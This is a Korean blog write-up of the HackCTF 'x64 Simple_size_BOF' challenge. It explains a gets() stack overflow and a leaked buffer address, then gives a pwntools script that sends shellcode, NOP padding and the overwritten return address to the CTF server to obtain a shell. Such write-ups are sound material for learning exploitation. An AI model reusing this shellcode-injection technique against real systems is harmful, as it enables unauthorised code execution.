[ HackCTF ] x64 Simple_size_BOF

Hyeonjin Lee·2023년 3월 7일
0

문제 분석



gets에서 BOF 취약점을 찾을 수 있다.
또한 puts를 통해 buffer의 주소를 알려주고 있다.


문제 풀이


buffer에 쉘코드를 넣고 gets에서 BOF를 통해 return address를 buffer로 덮어주면 된다.

payload는 다음과 같이 작성하면 된다.
shellcode - dummy(27952(buffer size)+8(rbp)-length(shellcode)) + (buffer address)

exploit 코드는 다음과 같다

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3005)

p.recvuntil('buf: ')
buf = int(p.recv(14),16)

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

payload = ''
payload += shellcode
payload += '\x90'*(0x6d38-len(shellcode))
payload += p64(buf)

p.sendline(payload)
p.interactive()
profile
요즘 행복해요

0개의 댓글